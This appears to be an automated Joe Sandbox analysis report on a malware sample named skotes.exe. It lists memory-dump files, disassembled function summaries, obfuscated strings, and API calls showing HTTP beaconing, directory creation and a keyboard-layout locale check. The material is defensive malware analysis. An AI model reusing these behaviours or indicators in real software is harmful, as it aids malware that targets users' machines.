Associated: 00000002.00000002.1806266177.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806290907.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806312268.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806336515.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806385040.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806414847.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806436844.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806480919.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806509260.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806560584.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806590822.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806612933.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806656439.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806684656.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806739794.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806763903.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806787206.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806808860.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806830974.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806850105.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806870737.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806921820.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1806960075.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807011131.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807032224.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807158328.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807203422.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807225189.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807249013.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1807270609.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"<$`'<
API String ID: 3903695350-3128490074
Opcode ID: cde7a5507c50b4358c20b7fd4e7d5f7e2fd01ac424ed8952495567b478a79701
Instruction ID: e70c22b7834680cf4c0fb873ee727ec65c970340cb414c5390af9a1c381e0aec
Opcode Fuzzy Hash: cde7a5507c50b4358c20b7fd4e7d5f7e2fd01ac424ed8952495567b478a79701
Instruction Fuzzy Hash: 6C316A32600A01EFEF23AA3AD895B5B73E8EF00356F11452AE449DB595DF75EC80CB61

Analysis Process: skotes.exePID: 7900, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	803
Total number of Limit Nodes:	53

Executed Functions

Function 0036E530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UA==, xrefs: 0036EB0F, 0036ED56
246122658369, xrefs: 0036F737, 0036FA14, 003705E7, 0037099A
#, xrefs: 00370624
MQ==, xrefs: 0036E592
L1<, xrefs: 0036F7E5
MGE+, xrefs: 0036E821
WTs=, xrefs: 003705CA
WTw=, xrefs: 0037097D
9c9aa5, xrefs: 0036FB8E
111, xrefs: 0036F7A0
GnNoc2Hc, xrefs: 0036E56C
WDw=, xrefs: 0036F71D, 0036F9FA

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1<$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-577862557
Opcode ID: 8e4316c1b7576a0489d7aa2fbecbf41e925ea7d78306ae86ef7a63981c7e0128
Instruction ID: 376cbcb0f193a11a82ffc318b8d8df524de873bff7da330f26910988cd2af207
Opcode Fuzzy Hash: 8e4316c1b7576a0489d7aa2fbecbf41e925ea7d78306ae86ef7a63981c7e0128
Instruction Fuzzy Hash: CE820670914288DBEF26EF68C9497CE7FB5AF01304F508598E8056B3C6D7795A88CBD2

Function 0036EB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0036EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0036EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0036ED98

Strings

UA==, xrefs: 0036EC41, 0036ED56, 0036EF89, 0036F2CE
246122658369, xrefs: 0036F737, 0036FA14, 0036FE00, 003705E7
#, xrefs: 00370624
FisgLnsCZO1i, xrefs: 0036FF19
WTs=, xrefs: 003705CA
111, xrefs: 0036F7A0
FCQgKF==, xrefs: 0036FEE4
mxo1L0x, xrefs: 0036EE84
stoi argument out of range, xrefs: 003708C4
invalid stoi argument, xrefs: 003708B0
L1<, xrefs: 0036F7E5
GiQaT29tduF=, xrefs: 0036FEB6
9c9aa5, xrefs: 0036FB8E
WDw=, xrefs: 0036F71D, 0036F9FA, 0036FDE3

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1<$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-3371911334
Opcode ID: 0dd0f1b69aece492836b6eb5b2798127d95b41ae4a8f135e039fed270a00cc3f
Instruction ID: 2bcc0aa2d5f70c667d07bad3e336c3a85e3da426e95da0c02f5405c4ba59ca61
Opcode Fuzzy Hash: 0dd0f1b69aece492836b6eb5b2798127d95b41ae4a8f135e039fed270a00cc3f
Instruction Fuzzy Hash: 88F22B71A101489BEF2EDB38CD897DDBB729F41304F54C198E40DAB3DADB399A848B51

Function 0036BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,7F551698,?,00000000), ref: 0036BEB8
InternetOpenW.WININET(003B8DC8,00000000,00000000,00000000,00000000), ref: 0036BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0036BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0036BF35
HttpSendRequestA.WININET(?,00000000), ref: 0036BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0036C0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0036C160
InternetCloseHandle.WININET(?), ref: 0036C187
InternetCloseHandle.WININET(?), ref: 0036C18F
InternetCloseHandle.WININET(?), ref: 0036C197

Strings

8HJUeIfzLo==, xrefs: 0036C3CB, 0036C623
RE1NXF==, xrefs: 0036BF0E
8HJUeMD Lq5=, xrefs: 0036C465
stoi argument out of range, xrefs: 0036E4EA
invalid stoi argument, xrefs: 0036E4F4

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 90c5ef66d8172af728dfef7931f5fa5caa1da1a6ea1a4bd7612ddc3fa30fe240
Instruction ID: e203b46d7d650916c1768b325521a8ec5b0ca8c34cdfeb61392547deceba3f6f
Opcode Fuzzy Hash: 90c5ef66d8172af728dfef7931f5fa5caa1da1a6ea1a4bd7612ddc3fa30fe240
Instruction Fuzzy Hash: B0B1F4B1A201189BDB26CF28CC84BEEBB79EF41304F50C5A9F54997295DB749AC0CF94

Function 00366020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0036617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00366271

Strings

Keyboard Layout\Preload, xrefs: 00366054
00000423, xrefs: 003660FA
00000422, xrefs: 003660C9
0000043f, xrefs: 0036612B
00000419, xrefs: 00366098

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
